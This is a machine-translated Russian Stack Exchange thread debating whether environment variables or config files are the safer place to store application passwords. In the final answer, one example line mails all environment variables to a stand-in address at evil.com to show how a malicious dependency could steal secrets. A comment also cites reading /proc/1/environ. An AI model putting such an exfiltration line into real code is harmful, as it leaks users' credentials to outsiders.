Насколько безопасно хранить пароли в виде переменных среды (а не в виде обычного текста) в файлах конфигурации?

110

Я работаю над несколькими приложениями на rails, django (и немного на php), и одна из вещей, которые я начал делать в некоторых из них, - это хранение базы данных и других паролей как переменных среды, а не простого текста в определенных файлах конфигурации ( или в settings.py для приложений django).

Обсуждая это с одним из моих сотрудников, он предположил, что это плохая практика - возможно, это не так безопасно, как может показаться на первый взгляд.

Итак, я хотел бы знать - это безопасная практика? Безопаснее ли хранить пароли в виде простого текста в этих файлах (конечно, не оставляя эти файлы в общедоступных репозиториях и т. Д.)?

сойка
источник

Ответы:

46

На более теоретическом уровне я обычно думаю об уровнях безопасности следующим образом (в порядке увеличения силы):

  • Никакой безопасности. Простой текст. Любой, кто знает, где искать, может получить доступ к данным.
  • Безопасность путем обфускации. Вы храните данные (открытый текст) в сложном месте, например, в переменной среды или в файле, который должен выглядеть как файл конфигурации. В конце концов злоумышленник поймет, что происходит, или наткнется на это.
  • Безопасность обеспечивается шифрованием, которое легко взломать (подумайте о шифре Цезаря!).
  • Безопасность обеспечивается шифрованием, которое можно взломать с некоторым усилием.
  • Безопасность обеспечивается шифрованием, которое невозможно взломать на текущем оборудовании.
  • Самая безопасная система - это та, которую никто не может использовать! :)

Переменные среды более безопасны, чем файлы с открытым текстом, потому что они изменчивы / одноразовые, а не сохраняются; то есть, если вы устанавливаете только локальную переменную среды, например «set pwd = something», а затем запускаете сценарий с тем, что выходит из командной оболочки в конце сценария, то эта переменная больше не существует. Ваш случай относится к первым двум, что, я бы сказал, довольно небезопасно. Если бы вы собирались это сделать, я бы не рекомендовал развертывание за пределами вашей непосредственной интрасети / домашней сети, и то только для целей тестирования.

Джон Картер
источник
1
Это зависит от операционной системы. В лучшем случае переменные среды так же уязвимы, как и текстовые файлы, но, вероятно, еще хуже. Для файлов с открытым текстом вы можете установить разрешения на чтение для файлов / каталогов, чтобы защитить их. IIRC для переменных среды, они живут в пространстве памяти для процесса оболочки, поэтому предприимчивый взломщик может сканировать это пространство в поисках их.
Джон Картер
1
подождите: если вы храните учетные данные внутри переменной среды, они должны получить их первыми. Либо вручную, либо по сценарию. Чтобы автоматизировать запуск вашего программного обеспечения, я бы порекомендовал сценарий. Но угадайте, что, тогда вам все равно нужно сохранить их в файле конфигурации (для переменных env). Если вы не предоставляете значения для переменных env вручную, я не вижу разницы в безопасности для файлов конфигурации.
математика
60

Как упоминалось ранее, оба метода не обеспечивают никакого дополнительного уровня «безопасности» после взлома вашей системы. Я считаю, что одной из самых веских причин в пользу переменных среды является контроль версий. : я видел слишком много конфигураций баз данных и т. Д., Случайно сохраненных в системе контроля версий, такой как GIT, чтобы любой другой разработчик мог их увидеть (и упс! Это случилось с в том числе я ...).

Отсутствие хранения ваших паролей в файлах делает невозможным их сохранение в системе контроля версий.

Emrass
источник
6
Достаточно разумной альтернативой тому, чтобы не хранить секретные параметры конфигурации в системе управления версиями, является их хранение в репозитории системы управления версиями или проекте отдельно от репозитория кода.
Кенни Эвитт
1
@KennyEvitt, который по-прежнему оставляет незащищенные пароли в виде открытого текста в общем месте, которое может найти любой, у кого есть доступ к репозиторию, и не имеет возможности отслеживать, кто получил к нему доступ.
FistOfFury
2
@FistOfFury Конечно, любой, у кого есть доступ к репозиторию ... может получить доступ к репозиторию. Смысл хранения секретов в отдельном репозитории как раз в том, чтобы можно было контролировать доступ к этим секретам иначе, чем сам код. Но репозитории можно защитить, например, вы можете хранить секреты в зашифрованном виде в «общем месте». И вы даже можете отслеживать информацию о доступе к репозиторию в общем месте. Но, конечно же, предоставление кому-либо доступа к информации означает, что они могут скопировать эту информацию и, таким образом, получить к ней доступ в любое время в будущем без ограничений и отслеживания.
Kenny Evitt
2
Отличная причина использовать решение для управления конфигурацией, которое позволяет хранить зашифрованные секреты, а затем заменять их в шаблонах конфигурации во время рендеринга. У шеф-повара есть зашифрованные пакеты данных, у Ansible есть хранилища и т. Д.
Брайан Клайн
1
Это называется Privileged Access Management, где секреты хранятся в централизованном хранилище PAM Vault с комплексным контролем доступа. Gartner перечисляет некоторые такие продукты .
Амит Найду
45

Каждый раз, когда вам нужно сохранить пароль, это небезопасно. Период. Невозможно надежно сохранить незашифрованный пароль. Теперь, возможно, спорный вопрос, какая из переменных окружения или конфигурационных файлов более "безопасна". ИМХО, если ваша система скомпрометирована, неважно, где она хранится, старательный хакер может ее отследить.

Крис Прэтт
источник
12
Что касается переменных среды, здесь я ожидаю unix ... Переменные среды менее безопасны, чем файлы. Любой может проверить среду запущенного процесса, но файлы могут иметь как минимум ACL.
Vatine
11
Учитывая, что разработчик должен хранить эти пароли, это не очень полезный ответ. Где вы предполагаете, что он их хранит?
Питер Никси
2
@Vatine Места, отображающие переменные среды, тоже имеют разрешения. Попробуйте cat /proc/1/environнапример.
Крис Даун
4
@Vatine Правда? Я не вижу среды для процессов, не принадлежащих мне ps axe. strace -e open ps axeпоказывает, что он получает эту информацию /proc/[pid]/environ, у которого есть принудительное разрешение (отсюда и множество open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down
4
Ага. Посмотрите на это, проблема наконец-то решена (раньше это psбыл setuid, который с радостью покажет вам среду практически всего).
Vatine
28

Извините, у меня не было достаточно комментариев для комментариев, но я также хотел добавить, что если вы не будете осторожны, ваша оболочка также может записать этот пароль в своей истории команд. Так что запуск чего-то вроде $ pwd=mypassword my_progручного управления не так эфемерен, как вы могли надеяться.

разветвления
источник
21
если вы поставите перед всей строкой env var + command пробел, то она не будет сохранена в истории
shadi
спасибо @shadi. Узнавайте что-то новое каждый день! Интересно, специфична ли эта оболочка / легко ли ее отключить или этого можно ожидать довольно последовательно?
brianclements
4
Другой способ - использовать, read -s MY_PASS_VARкоторый защитит как от поисков по истории раковин, так и от плечевых серферов.
MatrixManAtYrService
4
@brianclements Я хотел бы добавить, что префикс команды с пробелом работает только в том случае, если текущая оболочка HISTCONTROLустановлена ​​на ignorespaceили ignoreboth, поэтому технически ее можно включить / выключить.
Моисей
14

Я думаю, что по возможности вы должны хранить свои учетные данные в файле с gitignored, а не как переменные среды.

Одна из вещей, которую следует учитывать при хранении учетных данных в переменных ENV (среды) по сравнению с файлом, заключается в том, что переменные ENV могут быть очень легко проверены любой библиотекой или зависимостью, которую вы используете.

Это может быть сделано злонамеренно или нет. Например, автор библиотеки может отправлять трассировки стека плюс переменные ENV себе по электронной почте для отладки (не лучшая практика, но это возможно).

Если ваши учетные данные находятся в файле, разобраться в них намного сложнее.

В частности, подумайте о npm в узле. Чтобы npm посмотрел на ваши учетные данные, если они находятся в ENV, достаточно простоprocess.ENV . С другой стороны, если они находятся в файле, это намного сложнее.

Контролируется ли ваш файл учетных данных версией или нет - это отдельный вопрос. Отсутствие контроля версий вашего файла учетных данных делает его доступным меньшему количеству людей. Всем разработчикам нет необходимости знать производственные учетные данные. Поскольку это соответствует принципу наименьших привилегий, я бы посоветовал git игнорировать ваш файл учетных данных.

Питер Айтай
источник
6
+1 за «автор библиотеки может отправить себе трассировку стека плюс переменные ENV для отладки». Никогда не задумывался об этом сценарии.
netishix
6

Это зависит от вашей модели угроз.

Вы пытаетесь помешать вашим пользователям разбрасывать пароли по всей их файловой системе, где они могут быть забыты или неправильно обработаны? Если да, то да, потому что переменные среды менее постоянны, чем файлы.

Вы пытаетесь защитить себя от чего-то вредоносного, которое напрямую нацелено на вашу программу? Если да, то нет, потому что переменные среды не имеют такого же уровня контроля доступа, как файлы.

Лично я считаю, что нерадивые пользователи встречаются чаще, чем мотивированные противники, поэтому я бы выбрал подход с использованием переменных среды.

MatrixManAtYrService
источник
0

AFAICT, есть две причины, по которым люди рекомендуют хранить секреты в переменных среды:

  1. Слишком легко случайно зафиксировать секретные плоские файлы в репо. (А если это публичное репо, вы тост.)
  2. Это предотвращает беспорядок в паролях, то есть наличие одного и того же ключа во многих различных файлах каталога проекта само по себе представляет угрозу безопасности, поскольку разработчики в конечном итоге потеряют информацию о том, где находятся секреты.

Эти две проблемы можно решить лучше. Первое должно быть решено с помощью ловушки git commit, которая проверяет вещи, похожие на пароли (например, gitleaks ). Я бы хотел, чтобы Линус встроил такой инструмент в исходный код библиотеки git, но, увы, этого не произошло. (Излишне говорить, что секретные файлы всегда следует добавлять .gitignore, но вам понадобится ловушка на случай, если кто-то забудет это сделать.)

Последнее можно решить, имея глобальный файл секретов компании, который в идеале хранится на общем диске, доступном только для чтения. Итак, в Python у вас может быть что-то вродеfrom company_secrets import * .

Что еще более важно, как указывали другие, слишком легко взломать секреты, хранящиеся в переменных среды. Например, в Python автор библиотеки может вставитьsend_email(address="evil.person@evil.com", text=json.dumps(os.environ)) а затем вы выпустите тост за выполнение этого кода. Взломать гораздо сложнее, если в вашей системе есть файл с именем~/secret_company_stuff/.my_very_secret_company_stuff .

Только для пользователей Django:
Django (в режиме DEBUG) показывает исходное значение переменной среды в браузере, если есть исключение (в режиме DEBUG). Это кажется очень небезопасным, если, например, разработчик случайно запускает рабочую среду DEBUG=True. В отличие от этого , Django ДЕЛАЕТ запутать настройки пароля переменных путем поиска строк API, TOKEN, KEY, SECRET, PASSили SIGNATUREв фреймворка settings.pyимен переменных файла.

пандишеф
источник